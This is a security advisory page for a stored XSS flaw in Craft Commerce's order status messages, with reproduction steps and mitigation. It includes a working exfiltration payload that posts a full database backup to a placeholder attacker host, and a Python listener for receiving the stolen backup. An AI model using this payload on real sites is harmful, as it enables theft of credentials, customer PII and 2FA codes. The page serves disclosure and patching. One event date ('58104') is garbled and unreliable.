CVE-2026-25483: Craft Commerce has Stored XSS via Order Status Message with potential database exfiltration

Published Feb 2, 2026
·
Updated

Summary

A stored XSS vulnerability exists in Craft Commerce’s Order Status History Message. The message is rendered using the |md filter, which permits raw HTML, enabling malicious script execution. If a user has database backup utility permissions (which do not require an elevated session), an attacker can exfiltrate the entire database, including all user credentials, customer PII, order history, and 2FA recovery codes.

Users are recommended to update to the patched 5.5.2 release to mitigate the issue.

--- Proof of Concept

Required Permissions

- General - Access the control panel - Access Craft Commerce - Access to the database backup utility - Craft Commerce - Manage orders - Edit orders

Attacker Server Setup

To reproduce this attack, you need a server to receive the exfiltrated database. 1. Save the Python script as receiver.py on your attacker machine. 2. Run it: python3 receiver.py -- Change the port if needed.

<details>

<summary>Server Python Script</summary>

python #!/usr/bin/env python3 """ Usage: python3 receiver.py """

from http.server import HTTPServer, BaseHTTPRequestHandler import cgi, os from datetime import datetime

class Handler(BaseHTTPRequestHandler): def doOPTIONS(self): self.sendresponse(200) self.sendheader('Access-Control-Allow-Origin', '') self.sendheader('Access-Control-Allow-Methods', 'POST') self.endheaders()

def doPOST(self): self.sendresponse(200) self.sendheader('Access-Control-Allow-Origin', '') self.endheaders() contenttype = self.headers.get('Content-Type', '') if 'multipart/form-data' in contenttype: form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUESTMETHOD': 'POST', 'CONTENTTYPE': contenttype} ) if 'db' in form: filename = f"exfil{datetime.now().strftime('%Y%m%d%H%M%S')}.sql.zip" with open(filename, 'wb') as f: f.write(form['db'].file.read()) print(f"[+] DB saved: {filename} ({os.path.getsize(filename):,} bytes)") self.wfile.write(b"OK")

if name == 'main': print("[] Listening on http://0.0.0.0:8888") # change the port if needed HTTPServer(('0.0.0.0', 8888), Handler).serveforever()

</details>

Steps to Reproduce

1. Log in to the admin panel 2. Navigate to Commerce → Orders 3. Create a new order, enter a customer email, and mark the order as completed. The Order should be saved now; if not, save it. 4. Edit the order 5. Change the order status, a new text field (Status Message) will appear once the status is changed - Make sure you have multiple order statuses; if not, create one from (/admin/commerce/settings/orderstatuses) 6. In the Status Message field, enter the XSS payload below 7. Save/Update the order 8. Log out & log in again with an admin account 9. Visit the order page (/admin/commerce/orders/{OrderID}) 10. XSS executes → Full database backup is triggered and exfiltrated 11. Go back to the attacker’s server and notice a zipped file containing the full exfiltrated database.

XSS Payload (DB Exfiltration)

Note: Replace ATTACKER:8888 with your listener server. html <img src=x onerror="fetch('/index.php?p=admin/actions/utilities/db-backup-perform-action',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'action=utilities/db-backup-perform-action&CRAFTCSRFTOKEN='+Craft.csrfTokenValue+'&downloadBackup=1'}).then(r=>r.blob()).then(b=>{let f=new FormData;f.append('db',b,'backup.sql');fetch('http://ATTACKER:8888/',{method:'POST',body:f})})">

--- Technical Details (Vulnerable Code)

File: vendor/craftcms/commerce/src/templates/orders/history.twig Sink: {{ orderHistory.message | md }} Root Cause: The |md Twig filter (Markdown) processes the message but does not sanitize HTML tags.

--- Impact

The exfiltrated database backup includes, but is not limited to: - Usernames, emails, and password hashes. - Customer PII: Names, addresses, and complete order history. - Transaction records, customer profiles, and coupon codes. - GraphQL tokens. - 2FA recovery codes. - Potentially, payment gateway secrets (if stored directly instead of using environment variables).

Note: This XSS can also be leveraged for the same attacks described in previous reports, including privilege escalation and forced password changes.

--- Mitigation

Sanitize the message before rendering: twig {{ orderHistory.message | md | purify }}

Or escape HTML before Markdown processing: twig {{ orderHistory.message | e | md }}

Additionally, requiring an elevated session for the DB Backup utility would increase the difficulty of exploitation, although it would not prevent the attack, as it might occur while an active elevated session is in place.

Resources:

https://github.com/craftcms/commerce/commit/4665a47c0961aee311a42af2ff94a7c470f0ad8c

Other sources

Craft Commerce is an ecommerce platform for Craft CMS. In versions from 4.0.0-RC1 to 4.10.0 and from 5.0.0 to 5.5.1, a stored XSS vulnerability exists in Craft Commerce’s Order Status History Message. The message is rendered using the |md filter, which permits raw HTML, enabling malicious script execution. If a user has database backup utility permissions (which do not require an elevated session), an attacker can exfiltrate the entire database, including all user credentials, customer PII, order history, and 2FA recovery codes. This issue has been patched in versions 4.10.1 and 5.5.2.

MITRE

Affected Software

6 affected componentsFixes available
composer/craftcms/commerce>=4.0.0-RC1<=4.10.0
4.10.1
composer/craftcms/commerce>=5.0.0<=5.5.1
5.5.2
CraftCMS Craft Commerce Craft Cms>=4.0.1<4.10.1
CraftCMS Craft Commerce Craft Cms>=5.0.0<5.5.2
CraftCMS Craft Commerce Craft Cms=4.0.0
CraftCMS Craft Commerce Craft Cms=4.0.0-rc1

Event History

Feb 2, 2026
Advisory Published
via GitHub·10:43 PM
Data Sourced
via GitHub·10:43 PM
DescriptionWeaknessAffected Software
Feb 3, 2026
CVE Published
via MITRE·06:05 PM
Data Sourced
via MITRE·06:05 PM
DescriptionWeakness
Data Sourced
via NVD·07:16 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:16 PM
RemedyAffected Software
Feb 27, 58104
Event
via FIRST·12:32 PM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-25483?

CVE-2026-25483 is classified as a high severity vulnerability due to its potential for stored XSS and database exfiltration.

2

How do I fix CVE-2026-25483?

To fix CVE-2026-25483, upgrade Craft Commerce to version 4.10.1 or 5.5.2.

3

Which versions of Craft Commerce are affected by CVE-2026-25483?

CVE-2026-25483 affects Craft Commerce versions between 4.0.0-RC1 and 4.10.0, as well as 5.0.0 to 5.5.1.

4

What type of vulnerability is CVE-2026-25483?

CVE-2026-25483 is a stored cross-site scripting (XSS) vulnerability.

5

Can CVE-2026-25483 lead to remote code execution?

While CVE-2026-25483 primarily allows for XSS attacks, it could potentially lead to further exploitation such as database exfiltration.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203